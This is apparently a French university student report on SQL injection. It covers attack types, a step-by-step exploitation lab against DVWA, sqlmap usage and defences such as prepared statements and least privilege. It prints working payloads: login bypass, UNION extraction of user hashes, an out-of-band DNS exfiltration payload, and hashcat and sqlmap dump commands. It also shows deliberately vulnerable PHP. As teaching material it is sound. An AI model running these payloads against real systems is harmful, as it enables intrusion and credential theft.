EXPOSÉ DE SÉCURITÉ INFORMATIQUE

ATTAQUE PAR INJECTION SQL

SQL Injection Attack

Comprendre, Analyser et Prévenir les Injections SQL

Filière : Génie Informatique / Cybersécurité

Niveau : Licence / Master
Année académique : 2025 - 2026

Rédigé par :
Groupe d'exposé

Avril 2026
 Attaque par Injection SQL | Sécurité Informatique

RÉSUMÉ EXÉCUTIF
L'injection SQL (SQLi) est l'une des vulnérabilités les plus dangereuses et les plus répandues dans
le domaine de la sécurité des applications web. Elle figure chaque année dans le classement
OWASP Top 10 des risques de sécurité applicatifs. Cette attaque permet à un acteur malveillant
d'insérer ou de « injecter » du code SQL non autorisé dans une requête destinée à une base de
données, contournant ainsi les mécanismes d'authentification, exfiltrant des données sensibles,
voire prenant le contrôle total du serveur de base de données.

Ce rapport présente en détail le fonctionnement des injections SQL, leurs typologies, leur impact,
les méthodes de détection, ainsi que les étapes pratiques d'implémentation d'une attaque dans un
environnement de test contrôlé, accompagnées des contre-mesures appropriées.

Injection SQL — Sécurité des applications web | Avril 2026

 Attaque par Injection SQL | Sécurité Informatique

TABLE DES MATIÈRES

1. Introduction ............................................................ 3
2. Fondements Théoriques ........................................... 3
3. Typologies des Injections SQL .................................. 4
4. Impact et Conséquences ........................................... 5
5. Implémentation Pratique .......................................... 6
6. Outils d'Exploitation ............................................... 8
7. Contre-mesures et Prévention .................................. 9
8. Conclusion ................................................................ 11
9. Références ............................................................... 11

Injection SQL — Sécurité des applications web | Avril 2026

 Attaque par Injection SQL | Sécurité Informatique

1. INTRODUCTION
Les bases de données relationnelles constituent le cœur des applications modernes : e-commerce,
banques en ligne, réseaux sociaux, systèmes de santé. Derrière chaque formulaire web se cache
une interaction avec une base de données, le plus souvent via le langage SQL (Structured Query
Language). C'est précisément cette interface entre l'utilisateur et la base de données qui constitue
le vecteur d'attaque de l'injection SQL.

Découverte à la fin des années 1990, l'injection SQL demeure aujourd'hui encore l'une des failles
les plus exploitées. Selon le rapport Verizon Data Breach Investigations Report (DBIR), les
attaques par injection représentent une proportion significative des violations de données chaque
année dans le monde.

Objectif de cet exposé : Comprendre le mécanisme des injections SQL, en explorer les
différentes variantes, illustrer leur impact à travers des exemples concrets et présenter les bonnes
pratiques de défense.

2. FONDEMENTS THÉORIQUES

2.1 Le langage SQL et les bases de données relationnelles

SQL (Structured Query Language) est le langage standard utilisé pour interagir avec les systèmes
de gestion de bases de données relationnelles (SGBDR) tels que MySQL, PostgreSQL, Microsoft
SQL Server, Oracle ou SQLite. Il permet d'effectuer quatre opérations fondamentales :

• SELECT : lire des données

• INSERT : insérer des données
• UPDATE : modifier des données
• DELETE : supprimer des données

Exemple de requête SQL classique pour l'authentification d'un utilisateur :

SELECT * FROM utilisateurs

WHERE nom_utilisateur = 'alice'
AND mot_de_passe = 'secret123';

Injection SQL — Sécurité des applications web | Avril 2026

 Attaque par Injection SQL | Sécurité Informatique

2.2 Principe de l'injection SQL

Une injection SQL survient lorsqu'une application web intègre directement les données saisies par
l'utilisateur dans une requête SQL sans validation ni assainissement préalable. L'attaquant
exploite cette faiblesse en insérant des caractères spéciaux ou des instructions SQL
supplémentaires qui modifient la logique de la requête originale.

Prenons un exemple typique de formulaire de connexion vulnérable. Le code côté serveur

construit la requête ainsi :

// Code PHP vulnérable (NE PAS REPRODUIRE EN PRODUCTION)

$requete = "SELECT * FROM users WHERE username='".$_POST['user']."'
AND password='".$_POST['pass']."'";
$resultat = mysqli_query($conn, $requete);

Si l'utilisateur saisit dans le champ nom d'utilisateur la valeur : admin' -- alors la requête générée
devient :

SELECT * FROM users

WHERE username='admin' --' AND password='quelconque';

-- Le double tiret (--) est un commentaire SQL : tout ce qui suit est ignoré.
-- La requête revient donc à : SELECT * FROM users WHERE username='admin'

Le système authentifie l'attaquant en tant qu'administrateur sans vérification du mot de passe.

Injection SQL — Sécurité des applications web | Avril 2026

 Attaque par Injection SQL | Sécurité Informatique

3. TYPOLOGIES DES INJECTIONS SQL

3.1 Injection In-Band (classique)

C'est la forme la plus courante. Le résultat de l'attaque est retourné directement dans la réponse
HTTP de l'application. Elle se décline en deux sous-catégories :

3.1.1 Injection basée sur les erreurs (Error-Based)

L'attaquant provoque délibérément des erreurs SQL pour en extraire des informations sur la
structure de la base de données. Les messages d'erreur divulgués par le serveur contiennent des
informations précieuses (noms de tables, types de données, version SGBD).

-- Payload typique pour MySQL :

' AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION())) --

-- Résultat possible dans le message d'erreur :

XPATH syntax error: '~5.7.38-MySQL Community Server'

3.1.2 Injection basée sur UNION (UNION-Based)

L'opérateur UNION de SQL permet de combiner les résultats de deux requêtes SELECT.
L'attaquant l'utilise pour extraire des données d'autres tables de la base de données.

-- Étape 1 : Déterminer le nombre de colonnes

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- (erreur = 3 colonnes)

-- Étape 2 : Extraire des données sensibles

' UNION SELECT username, password, email FROM admin_users --

3.2 Injection Blind (Aveugle)

Injection SQL — Sécurité des applications web | Avril 2026

 Attaque par Injection SQL | Sécurité Informatique

L'application ne retourne pas directement les données ou les erreurs. L'attaquant déduit les
informations par inférence.

3.2.1 Boolean-Based Blind

L'attaquant envoie des requêtes conditionnelles et observe si l'application se comporte

différemment selon que la condition est vraie ou fausse.

-- Question : le premier caractère du nom de la BDD est-il 'a' ?

' AND SUBSTRING(database(),1,1)='a' --

-- Si la page s'affiche normalement : TRUE (c'est 'a')

-- Si la page est vide ou différente : FALSE (ce n'est pas 'a')

-- En répétant pour chaque caractère, on reconstitue le nom complet.

3.2.2 Time-Based Blind

L'attaquant utilise des fonctions de délai SQL pour déduire des informations via le temps de
réponse du serveur.

-- Si la version commence par '5', attendre 5 secondes

' AND IF(SUBSTRING(VERSION(),1,1)='5', SLEEP(5), 0) --

-- Temps de réponse > 5s : condition vraie

-- Temps de réponse normal : condition fausse

3.3 Injection Out-of-Band

Les données sont exfiltrées via un canal de communication différent (DNS, HTTP). Utilisée quand
les deux premières méthodes échouent. Exemple : l'attaquant force le serveur à effectuer une
requête DNS vers son propre domaine, avec les données encodées dans le sous-domaine.

-- MySQL : exfiltration via requête DNS (nécessite des privilèges)

Injection SQL — Sécurité des applications web | Avril 2026

 Attaque par Injection SQL | Sécurité Informatique

' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users

LIMIT 1),'.[Link]\\share')) --

3.4 Tableau Récapitulatif des Types d'Injections

Type Mécanisme Condition Vitesse

In-Band Error Messages d'erreur SQL Erreurs visibles Rapide

In-Band UNION Opérateur UNION Résultats visibles Rapide

Blind Boolean Conditions vraie/fausse Comportement Lente

différentiel

Blind Time-Based Fonctions de délai Mesure du temps Très lente

Out-of-Band Canal externe Requêtes sortantes Variable

(DNS/HTTP)

Injection SQL — Sécurité des applications web | Avril 2026

 Attaque par Injection SQL | Sécurité Informatique

4. IMPACT ET CONSÉQUENCES

4.1 Conséquences techniques

• Contournement de l'authentification (bypass de login)
• Exfiltration massive de données : noms, mots de passe, numéros de carte de crédit,
données médicales
• Modification ou suppression de données (UPDATE/DELETE non autorisés)
• Lecture et écriture de fichiers sur le serveur (LOAD_FILE, INTO OUTFILE)
• Exécution de commandes système via des procédures stockées (xp_cmdshell sur
MSSQL)
• Escalade de privilèges dans la base de données

4.2 Conséquences organisationnelles et légales

• Atteinte à la réputation : perte de confiance des clients et partenaires
• Sanctions réglementaires : amendes RGPD (jusqu'à 4% du chiffre d'affaires mondial),
HIPAA, PCI-DSS
• Pertes financières directes : frais de remédiation, indemnisations, procès
• Interruption de service et indisponibilité des systèmes

4.3 Cas réels célèbres

Incident Année Données compromises Impact
Sony PlayStation 2011 77 millions de comptes Fermeture 23 jours
Network
Yahoo! 2012 450 000 identifiants Réputation sévèrement
touchée
TalkTalk (UK) 2015 157 000 clients Amende 400 000 £
Heartland Payment 2008 130 millions de cartes 128M$ de pertes

Injection SQL — Sécurité des applications web | Avril 2026

 Attaque par Injection SQL | Sécurité Informatique

5. IMPLÉMENTATION PRATIQUE
⚠️AVERTISSEMENT ÉTHIQUE ET LÉGAL
Les techniques présentées ci-dessous sont strictement réservées à des fins éducatives et aux
environnements de test légalement autorisés (CTF, labs, environnements personnels isolés). Toute
exploitation sur un système sans autorisation explicite est illégale et passible de poursuites pénales.

5.1 Mise en place de l'environnement de test

Nous utiliserons DVWA (Damn Vulnerable Web Application), une application web
intentionnellement vulnérable, déployée localement via XAMPP ou Docker.

Étape 1 — Installation de l'environnement

# Méthode 1 : Via Docker (recommandée)

docker pull vulnerables/web-dvwa
docker run -d -p 80:80 vulnerables/web-dvwa

# Méthode 2 : Via XAMPP (Windows/Linux)

# 1. Télécharger XAMPP sur [Link]
# 2. Télécharger DVWA sur [Link]
# 3. Copier DVWA dans /xampp/htdocs/dvwa/
# 4. Démarrer Apache et MySQL dans le panneau XAMPP
# 5. Accéder à [Link]
# 6. Cliquer sur 'Create / Reset Database'

Étape 2 — Configuration de la base de données de test

-- Création d'une base vulnérable pour les tests

CREATE DATABASE lab_sql;
USE lab_sql;

CREATE TABLE utilisateurs (

id INT AUTO_INCREMENT PRIMARY KEY,
nom VARCHAR(50),
email VARCHAR(100),
mot_de_passe VARCHAR(100),
role VARCHAR(20)
);

INSERT INTO utilisateurs VALUES

(1, 'alice', 'alice@[Link]', 'alice123', 'user'),
(2, 'bob', 'bob@[Link]', 'bob456', 'user'),
(3, 'admin', 'admin@[Link]', 'Adm!n_S3cr3t', 'admin');

-- Application PHP vulnérable (fichier [Link])

CREATE TABLE produits (
id INT AUTO_INCREMENT PRIMARY KEY,
nom VARCHAR(100),
prix DECIMAL(10,2),
stock INT
);

5.2 Phase de reconnaissance — Détection de la vulnérabilité

Étape 3 — Test d'injection simple

Injection SQL — Sécurité des applications web | Avril 2026

 Attaque par Injection SQL | Sécurité Informatique

La première étape consiste à identifier si le paramètre est vulnérable en injectant des caractères
spéciaux.

-- Test 1 : Apostrophe simple (provoque une erreur si vulnérable)

[Link]

-- Résultat attendu (erreur MySQL visible) :

You have an error in your SQL syntax near ''1'' at line 1

-- Test 2 : Commentaire SQL (si la page s'affiche normalement)

[Link]

-- Test 3 : Condition toujours vraie

[Link] OR '1'='1

-- Test 4 : Condition toujours fausse (page vide = vulnérable)

[Link] AND '1'='2

5.3 Phase d'exploitation — Extraction d'informations

Étape 4 — Détermination du nombre de colonnes

-- Méthode ORDER BY (incrémenter jusqu'à l'erreur)

[Link] ORDER BY 1--+
[Link] ORDER BY 2--+
[Link] ORDER BY 3--+
-- Erreur à ORDER BY 3 => 2 colonnes

-- Méthode UNION NULL (plus fiable)

[Link] UNION SELECT NULL--+
[Link] UNION SELECT NULL,NULL--+
-- Succès avec 2 NULL => 2 colonnes confirmées

Étape 5 — Identification de la version et de la base de données

-- Extraction des métadonnées du SGBD

[Link]
UNION SELECT VERSION(), DATABASE()--+

-- Résultat affiché dans la page :

-- Prénom : 5.7.38-MySQL Community Server
-- Nom : dvwa

-- Extraction de l'utilisateur MySQL courant

[Link]
UNION SELECT USER(), @@datadir--+

Étape 6 — Enumération des tables

-- Lister toutes les tables de la base courante

[Link]
UNION SELECT table_name, table_schema
FROM information_schema.tables
WHERE table_schema=database()--+

Injection SQL — Sécurité des applications web | Avril 2026

 Attaque par Injection SQL | Sécurité Informatique

-- Résultat :
-- guestbook
-- users

Étape 7 — Enumération des colonnes

-- Lister les colonnes de la table 'users'

[Link]
UNION SELECT column_name, data_type
FROM information_schema.columns
WHERE table_name='users'--+

-- Résultat :
-- user_id (int)
-- first_name (varchar)
-- last_name (varchar)
-- user (varchar)
-- password (varchar)
-- avatar (varchar)

Étape 8 — Extraction des données sensibles

-- Extraction des identifiants et mots de passe

[Link]
UNION SELECT user, password FROM users--+

-- Résultat :
-- admin : 5f4dcc3b5aa765d61d8327deb882cf99 (MD5 de 'password')
-- gordonb : e99a18c428cb38d5f260853678922e03 (MD5 de 'abc123')
-- pablo : 0d107d09f5bbe40cade3de5c71e9e9b7 (MD5 de 'letmein')

-- Cassage des hash MD5 avec un outil en ligne ou hashcat :

hashcat -m 0 -a 0 [Link] [Link]

5.4 Vérification — Contournement d'authentification

Étape 9 — Bypass du login

-- Dans le champ 'Username' du formulaire de connexion :

admin'--

-- La requête générée devient :

SELECT * FROM users WHERE username='admin'--' AND password='...'
-- Equivalent à :
SELECT * FROM users WHERE username='admin'

-- Autre payload universel :

' OR 1=1--

-- La requête devient :
SELECT * FROM users WHERE username='' OR 1=1--' AND password='...'
-- Retourne TOUS les utilisateurs => connexion avec le premier compte

Injection SQL — Sécurité des applications web | Avril 2026

 Attaque par Injection SQL | Sécurité Informatique

6. OUTILS D'EXPLOITATION

6.1 SQLMap — L'outil de référence

SQLMap est un outil open source en Python qui automatise la détection et l'exploitation des
vulnérabilités d'injection SQL. Il supporte tous les types d'injection et de nombreux SGBD.

# Installation
git clone [Link]
cd sqlmap

# Test de base sur une URL vulnérable

python [Link] -u '[Link] \
--cookie='security=low; PHPSESSID=votre_session'

# Lister les bases de données disponibles

python [Link] -u '[Link] --dbs

# Lister les tables d'une base

python [Link] -u '[Link] -D dvwa --tables

# Extraire le contenu d'une table

python [Link] -u '[Link] -D dvwa -T users --dump

# Options avancées
python [Link] -u '[Link] \
--level=5 \ # Niveau de test (1-5)
--risk=3 \ # Niveau de risque (1-3)
--technique=BEUST \ # B=Boolean, E=Error, U=Union, S=Stacked, T=Time
--dbms=mysql \ # Forcer le type de SGBD
--batch # Mode automatique (sans questions)

6.2 Autres outils et ressources

Outil Description Usage
Burp Suite Proxy d'interception HTTP — Test, interception, fuzzing
manipulation manuelle des requêtes
OWASP ZAP Scanner de vulnérabilités open Scan automatisé
source
Havij Outil GUI d'exploitation SQLi Exploitation assistée
(Windows)
jSQL Injection Outil Java multi-plateforme Interface graphique simple
Metasploit Framework d'exploitation multi- Post-exploitation
vecteurs

Injection SQL — Sécurité des applications web | Avril 2026

 Attaque par Injection SQL | Sécurité Informatique

7. CONTRE-MESURES ET PRÉVENTION
La bonne nouvelle : les injections SQL sont entièrement évitables. Les techniques suivantes,
appliquées conjointement, offrent une protection robuste.

7.1 Requêtes Paramétrées (Prepared Statements) — Solution prioritaire

C'est la contre-mesure la plus efficace. Les paramètres de la requête sont séparés du code SQL,
rendant l'injection impossible car les données utilisateur ne sont jamais interprétées comme du
code SQL.

// ❌ CODE VULNÉRABLE (PHP) — Ne jamais utiliser

$requete = "SELECT * FROM users WHERE username='".$username."'";

// ✅ CODE SÉCURISÉ — Prepared Statement avec PDO

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->bindParam(":username", $username, PDO::PARAM_STR);
$stmt->execute();
$resultat = $stmt->fetchAll();

// ✅ CODE SÉCURISÉ — Prepared Statement avec MySQLi

$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();

// ✅ Exemple en Python avec psycopg2 (PostgreSQL)

[Link](
"SELECT * FROM users WHERE username = %s AND password = %s",
(username, password) # Paramètres passés séparément
)

// ✅ Exemple en Java avec PreparedStatement

String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = [Link](sql);
[Link](1, username);
[Link](2, password);
ResultSet rs = [Link]();

7.2 Procédures Stockées

Les procédures stockées pré-compilées dans la base de données offrent une couche d'isolation
supplémentaire entre le code applicatif et le SGBD.

-- Création de la procédure stockée (MySQL)

DELIMITER //
CREATE PROCEDURE GetUser(IN p_username VARCHAR(50))
BEGIN
SELECT id, nom, email, role
FROM utilisateurs
WHERE nom = p_username;
END //
DELIMITER ;

-- Appel depuis PHP

$stmt = $pdo->prepare("CALL GetUser(:username)");
$stmt->execute([":username" => $username]);

Injection SQL — Sécurité des applications web | Avril 2026

 Attaque par Injection SQL | Sécurité Informatique

7.3 Validation et Assainissement des Entrées

Même avec des requêtes paramétrées, la validation des entrées est une bonne pratique de
défense en profondeur.

// Validation côté serveur (PHP)

function validerEntree($input, $type) {
switch($type) {
case 'entier':
if (!filter_var($input, FILTER_VALIDATE_INT)) {
throw new Exception('Entrée invalide : entier attendu');
}
return (int)$input;

case 'email':
if (!filter_var($input, FILTER_VALIDATE_EMAIL)) {
throw new Exception('Format email invalide');
}
return filter_var($input, FILTER_SANITIZE_EMAIL);

case 'texte':
// Supprimer les caractères dangereux
$input = strip_tags($input);
$input = htmlspecialchars($input, ENT_QUOTES, "UTF-8");
return $input;
}
}

7.4 Principe du Moindre Privilège

L'utilisateur de la base de données utilisé par l'application doit n'avoir que les privilèges
strictement nécessaires à son fonctionnement.

-- Créer un utilisateur dédié à l'application (MySQL)

CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'MotDePasseFort!2026';

-- N'accorder que les privilèges nécessaires

GRANT SELECT, INSERT, UPDATE ON ma_base.* TO 'app_user'@'localhost';

-- PAS de GRANT ALL, PAS de DROP, PAS de FILE, PAS de SUPER

-- Jamais utiliser root pour l'application !

FLUSH PRIVILEGES;

7.5 Autres mesures complémentaires

• WAF (Web Application Firewall) : Déployer ModSecurity, AWS WAF ou Cloudflare WAF
pour filtrer les payloads malveillants en amont
• Désactiver les messages d'erreur détaillés en production : configurer display_errors=Off
en PHP et utiliser des pages d'erreur génériques
• Journalisation et surveillance : enregistrer et analyser les requêtes SQL anormales avec
un SIEM
• Tests de pénétration réguliers : intégrer des pentests dans le cycle de développement
(SDLC)
• ORM (Object-Relational Mapping) : utiliser Hibernate, Eloquent, SQLAlchemy qui
abstraient les requêtes SQL
• Chiffrement des données sensibles : ne jamais stocker les mots de passe en clair, utiliser
bcrypt, Argon2 ou scrypt

Injection SQL — Sécurité des applications web | Avril 2026

 Attaque par Injection SQL | Sécurité Informatique

• Revue de code et SAST : intégrer des outils d'analyse statique (SonarQube, Checkmarx)
dans la CI/CD

7.6 Tableau de synthèse des contre-mesures

Contre-mesure Efficacité Difficulté d'implémentation

Prepared Statements Très haute Facile — changer la façon d'écrire les
requêtes
Procédures stockées Haute Moyenne — nécessite refactoring DB
Validation des entrées Moyenne Facile — validation systématique
Moindre privilège Haute Facile — configuration SGBD
WAF Moyenne Moyenne — déploiement et configuration
ORM Haute Moyenne — adoption d'un framework

Injection SQL — Sécurité des applications web | Avril 2026

 Attaque par Injection SQL | Sécurité Informatique

8. CONCLUSION
L'injection SQL reste une menace persistante et particulièrement dangereuse malgré le fait
qu'elle soit connue depuis plus de deux décennies. Sa longévité s'explique par la combinaison de
pratiques de développement insuffisantes, de l'héritage de code ancien et d'une formation
insuffisante des développeurs.
Cet exposé a permis de parcourir l'ensemble du cycle de vie d'une attaque par injection SQL : de
la compréhension théorique du mécanisme, à travers la taxonomie des variantes (In-Band, Blind,
Out-of-Band), jusqu'à l'implémentation pratique dans un environnement contrôlé, sans oublier les
stratégies de défense.
Le message fondamental à retenir est le suivant : ne jamais faire confiance aux données
utilisateur. Toute entrée provenant d'un utilisateur doit être considérée comme potentiellement
malveillante. L'adoption systématique des requêtes paramétrées, combinée au principe du
moindre privilège et à des tests de sécurité réguliers, permet de réduire drastiquement la surface
d'attaque et de protéger efficacement les systèmes d'information.
Dans une perspective plus large, la sécurité applicative ne doit pas être une réflexion après-coup,
mais une discipline intégrée dès les premières phases de conception (Security by Design), au
cœur de toute stratégie de développement logiciel responsable.

9. RÉFÉRENCES
1. OWASP Foundation. (2021). OWASP Top 10:2021 — A03 Injection.
[Link]
2. Stuttard, D. & Pinto, M. (2011). The Web Application Hacker's Handbook. Wiley.
3. Clarke, J. (2009). SQL Injection Attacks and Defense. Syngress Publishing.
4. Anley, C. (2002). Advanced SQL Injection in SQL Server Applications. NGSSoftware
Insight Security Research.
5. Verizon. (2023). Data Breach Investigations Report (DBIR).
[Link]
6. sqlmap Project. (2024). sqlmap — Automatic SQL injection tool. [Link]
7. DVWA Project. (2024). Damn Vulnerable Web Application.
[Link]
8. NIST. (2024). National Vulnerability Database — CWE-89: SQL Injection.
[Link]
9. Mozilla Developer Network. (2024). SQL Injection Prevention.
[Link]
10. PortSwigger. (2024). SQL injection cheat sheet. [Link]
injection/cheat-sheet

— Fin du rapport —

Injection SQL — Sécurité des applications web | Avril 2026